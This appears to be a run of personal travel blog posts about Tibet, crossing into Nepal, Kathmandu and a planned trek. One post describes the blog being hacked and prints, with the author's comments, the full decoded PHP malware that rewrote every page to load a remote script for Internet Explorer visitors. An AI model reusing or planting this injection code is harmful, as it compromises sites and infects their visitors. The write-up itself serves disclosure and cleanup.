Simon’s birthday night out

As previously mentioned Simon’s birthday began with a singsong followed at breakfast by a birthday cupcake (supplied by another member of our tour group) with an improvised toothpick candle.

It seemed that after the beautiful views of Everest, and another long bus journey (with a lunch-time frisbee game), Simon had had all the excitement he wanted for his 29th birthday. You’ll be pleased to know that the others in our group and I did not let it end there, and thus we entered our second Tibetan nightclub.

After Simon’s description of Zhangmu you may appreciate that we were a little skeptical of what sort of nightclub this town would offer up. We were pleasantly surprised, this club was a far cry from the heaving modern establishment in Lhasa. Zhangmu’s nightclub was small, beer was bought by the bottle and shared out in glasses a little larger than a shot, and the walls were oddly decorated with small Christmas trees and cardboard rabbits (not easter bunnies as we first thought but in recognition of the Chinese year of the rabbit).

In many ways the club was reminiscent of a village disco, with most people seated at tables around the club perimeter and a few groups of each gender (not mixing) dancing in the centre. I think they were a bit bemused by our western style of dancing (it may have been a bit energetic). At one point as Simon and I approached the dance floor the music switched from western to Tibetan and we fled back to our seats as the locals began their traditional circle dance (a dance similar to line dancing that slowly rotates in a circle, we failed to establish who the leader was or how they knew when to do what).

The night ended with our entire group jumping around to the ‘Summer of ’69’ before vanishing back to the hotel, leaving some relieved locals to circle dance the night away.

Off trekking

It’s been too long since we last sat on a bus for 9 hours, so we’re off on another bumpy journey tomorrow in order to go trekking.

Apparently it takes 9 hours to go 120km to the start of the Langtang trek, some of which is blocked by landslides. Sounds like fun!

We’ll be trekking for the next week or so (not quite sure how many days it’ll take – that depends on how long it takes before Laura gives me a piggyback to the top!). That means (and this will be a shock to the system) no Internet, no blogging and probably no phones. Blissful mountains and lots of Yaks, we hope.

Anyway – we’ll let you know how it went when we come back, yeti permitting!

Simon

How embarassing!

Well, it appears that some nasty spammer managed to add some JavaScript to the footer of this Blog, and so if you’ve accessed it recently using Internet Explorer you should make sure your anti-virus is up to date.

I’m still looking into what happened, and since we’re about to go offline for a week, I’ve temporarily hobbled the blog slightly to prevent the spam from showing. This means that some pages might not work quite as expected ( eg the where are we map). We’re still here and normal service will be resumed in a bit.

We’re very sorry for the inconvenience; we have no desire to have any advertising or whatnot pop up while you’re gracing us with your time!

Many thanks to Laura’s Dad for pointing this out, hopefully it won’t happen again

Update, September 22nd

So it turns out my hobbling above still didn’t fix the problem. I’ve finally cleared things out and all should now be fine. If anyone’s interested, it looks like we were hit by a variant of this: http://sucuri.net/malware/malware-entry-mwmrobh2

I’m still unclear on the infection route, but think it probably happened due to brute force guessing of our admin password, which has now been changed, along with everything else.

The problem code inserted a base64 encoded string to be evaluated in each php file, which evaluates as the following (comments added by me).

if(function_exists('ob_start')&&!isset($GLOBALS['mr_no']))
{
  $GLOBALS['mr_no']=1;   
  if(!function_exists('mrobh')){      
    if(!function_exists('gml')){    
      function gml(){      
        if (stristr($_SERVER["HTTP_USER_AGENT"],"MSIE 6")
           ||stristr($_SERVER["HTTP_USER_AGENT"],"MSIE 7")
           ||stristr($_SERVER["HTTP_USER_AGENT"],"MSIE 8")
           ||stristr($_SERVER["HTTP_USER_AGENT"],"MSIE 9")){       
        return base64_decode("PHNjcmlwdCBzcmM9Imh0dHA6Ly9zd2VlcHN0YWtlc2FuZGNvbnRlc3Rzbm93LmNvbS9ubC5waHA/bm5uPTEiPjwvc2NyaXB0Pg==");      
            }      return "";     
        }
        // That <script src="http://sweepstakesandcontestsnow.com/nl.php?nnn=1"></script>  
        // which is the suspect javascript
    }        

// This then sets the output buffer to rewrite each page and drop the above script just before
// the </body> tag. Cunning, especially with the gzdecode stuff.
if(!function_exists('gzdecode')){     
  function gzdecode($R5A9CF1B497502ACA23C8F611A564684C){      $R30B2AB8DC1496D06B230A71D8962AF5D=@ord(@substr($R5A9CF1B497502ACA23C8F611A564684C,3,1));      $RBE4C4D037E939226F65812885A53DAD9=10;      $RA3D52E52A48936CDE0F5356BB08652F2=0;      if($R30B2AB8DC1496D06B230A71D8962AF5D&4){       $R63BEDE6B19266D4EFEAD07A4D91E29EB=@unpack('v',substr($R5A9CF1B497502ACA23C8F611A564684C,10,2));       $R63BEDE6B19266D4EFEAD07A4D91E29EB=$R63BEDE6B19266D4EFEAD07A4D91E29EB[1];       $RBE4C4D037E939226F65812885A53DAD9+=2+$R63BEDE6B19266D4EFEAD07A4D91E29EB;      }      if($R30B2AB8DC1496D06B230A71D8962AF5D&8){       $RBE4C4D037E939226F65812885A53DAD9=@strpos($R5A9CF1B497502ACA23C8F611A564684C,chr(0),$RBE4C4D037E939226F65812885A53DAD9)+1;      }      if($R30B2AB8DC1496D06B230A71D8962AF5D&16){       $RBE4C4D037E939226F65812885A53DAD9=@strpos($R5A9CF1B497502ACA23C8F611A564684C,chr(0),$RBE4C4D037E939226F65812885A53DAD9)+1;      }      if($R30B2AB8DC1496D06B230A71D8962AF5D&2){       $RBE4C4D037E939226F65812885A53DAD9+=2;      }      $R034AE2AB94F99CC81B389A1822DA3353=@gzinflate(@substr($R5A9CF1B497502ACA23C8F611A564684C,$RBE4C4D037E939226F65812885A53DAD9));      if($R034AE2AB94F99CC81B389A1822DA3353===FALSE){       $R034AE2AB94F99CC81B389A1822DA3353=$R5A9CF1B497502ACA23C8F611A564684C;      }      return $R034AE2AB94F99CC81B389A1822DA3353;     }    }    function mrobh($RE82EE9B121F709895EF54EBA7FA6B78B){     Header('Content-Encoding: none');     $RA179ABD3A7B9E28C369F7B59C51B81DE=gzdecode($RE82EE9B121F709895EF54EBA7FA6B78B);       if(preg_match('/\<\/body/si',$RA179ABD3A7B9E28C369F7B59C51B81DE)){      return preg_replace('/(\<\/body[^\>]*\>)/si',gml()."\n".'$1',$RA179ABD3A7B9E28C369F7B59C51B81DE);     }else{      return $RA179ABD3A7B9E28C369F7B59C51B81DE.gml();     }    }    ob_start('mrobh');   }  }

(Ah, that brings back some memories of Slang from GS… Dynamic function definitions, oh yes)

Anyway, all should be good now. Hopefully we don’t get hacked again tonight!

Simon

Leaving Shangri-La

20110912-080139.jpg

Tibet has often been cited as the true location of James Hilton’s mythical fantasy land of Shangri-La. Between the mountaintop prayer flags, monasteries of chanting monks and wafting insense, you can really appreciate the likeness – although perhaps not so much now with the Chinese troops on the streets and jarring horns from each passing motorbike and car.

However, as we crossed into Nepal at the border town of Zhangmu, there seemed to be more of a resemblance to the modern day imitation Shangri-La at Glastonbury Festival than that of 30’s literature. Darkened alleyways with flickering florescent lights; narrow streets lined with mysterious shops bearing indecipherable Chinese script; sanitised quarantine zones for immigrants with quasi-english directions; and salubrious red-lit doorways with ‘hostesses’ awaiting their next customer. Ok, Glastonbury doesn’t have the last bit, but its sensory overload night venue is a fair representation of the contrast we saw in the last night we spent in Tibet.

We’re now in Kathmandu, Nepal, collecting our thoughts and future plans before embarking on the next step of the adventure. We arrived on Sunday after a journey through a landscape that felt more like Costa Rica than our expectations of a landlocked plateau.

The border was both classic and bureaucratic. A single lane bridge over a river cut through a deep gorge, with soldiers from each side arranged next to the line of control – the stuff of Cold War movies (or the opening sequence of Die Another Day for the younger generation). Then a laborious hour-long process of form filling, stamping, correcting, re-stamping and finally getting the signature of the chief immigration officer, who has to personally sign each visa. By hand. Not that the visa was actually needed to enter the country – the visa office was just a door on the street that we could well have just wandered past and into town if we didn’t have a guide with us!

20110912-080203.jpg
The Costa Rican element of the journey came from the glorious green forest cut by a wide river, around which our dusty and landslide-evident road wound and precariously leapt. Luscious, balmy and humid – none of which I’d have previously thought would fit Nepal. Oh, and cramped, sweaty and bumpy on the bus, which fitted the bill more!

So we bade our farewells to The Rooftop of the World, and to the great friends we’d made on the trip from Beijing. We’re hoping to catch up with some folks in Delhi in a few weeks time, and others hopefully back in London – or elsewhere in the world. It’s strange to think back now to three weeks ago, indulging in Peking Duck on the first night, and the experiences we’ve had since then – seeing hundreds of people doing salsa/chinese crossover dancing on the streets of Beijing at night; shopping in The Gates Of Hell (massive supermarket, I’ll explain another time); crazy food – and being ripped off – at the night market; friendly shared gestures and photos with Buddhist Nuns; and the sight of Everest at last after the longest bumpy road imaginable!

Kathmandu feels so much more like India than China, with brightly coloured hand-painted adverts covering shop shutters, the continual screech of car horns (often musical), and the fabulous wafting smell of curry. It’s a lot more frantic and noisy than I’d imagined – probably closer to my vision of Bangkok than a centre for trekking. Each narrow street of the Thamel district is teeming with honking motorbikes and rickshaws jostling for space among the pedestrians, and it’s easy to get a headache after just a few minutes.

We spent a final night basking in the delights of a hotel room (with windows on three sides, no less!) before downgrading yesterday to a twin room at a hostel (en suite) for 1/10th the price. Cell-like – yes, in need of a good clean – definitely, but cheap as chips at £3 each per night. And with wifi and a rooftop view over the valley – bargain!

20110912-080246.jpg
Yesterday we accidentally* wandered into the middle of one of Nepal’s biggest festivals, which was bemusing. Appropriately we arrived just as the various ambassadors of the world were driving up to palace in the main square here, and we slotted into the peculiarly prominent tourist area, waved past lines of riot police tasked it seems with holding the locals back from seeing their own festival. In short (this post is way too long already, but I’ve got to finish this now!), six year old living goddess, her feet can’t touch the ground, she gets out once a year – on this day – and rides a chariot (people, not horse-drawn) around the old town after blessing the president for another year of rule (it used to be the king but that stopped after he massacred his whole family ten years ago). Oh, and a dancing elephant (more people, not real animals), and man with a huge red hat. For three hours in the hot sunshine. It was certainly an experience! Then a final dinner with the remaining Gap Tour folks who had stayed an extra day.

20110912-080302.jpg
Today we procrastinated and sat out on the roof garden of our hostel, admiring the view while Laura beautified her scrapbook and I watched a huge raincloud wash in over the valley. It’s lovely and (relatively) quiet here compared to the bustle of the Thamil area 5 minutes walk away – the distant car horns sounding more like quietly bleating sheep, fitting nicely with the surrounding vista of green hills and dreams of mountain passes and trekking adventures.

Tomorrow we need to actually plan our trek and start the journey onwards – but for tonight, it’s a cosy meal somewhere easy and then curling up with a book, possibly by candlelight if the one of the city’s regular power cuts sweeps in before we sleep.

Simon

* Apparently we were told about it by some friends from the trip, but I’m denying all knowledge.

20110912-080315.jpg

The daily blog

We’ve just got internet for the first time in a week and so there’s a whole bunch of new posts below.

In case you think I’ve become addicted to writing blog posts, maybe I have, but I’m quite enjoying it! This is essentially my travel diary since I don’t have the artistic skills Laura has to produce a beautiful scrapbook. I’m not expecting anyone to read any or all of it – although of course you’re welcome!

We’re marking posts with the day they’re written rather than than when they’re posted online, so you might find posts suddenly appearing for days in the past.

One other thing – at the moment all the photos on this blog are from an iPhone. We’re hoping to spend some time going through the ones from our cameras, and the good ones will be up on flickr soon – possibly in the next few days depending on how much time we have in Kathmandu.

Simon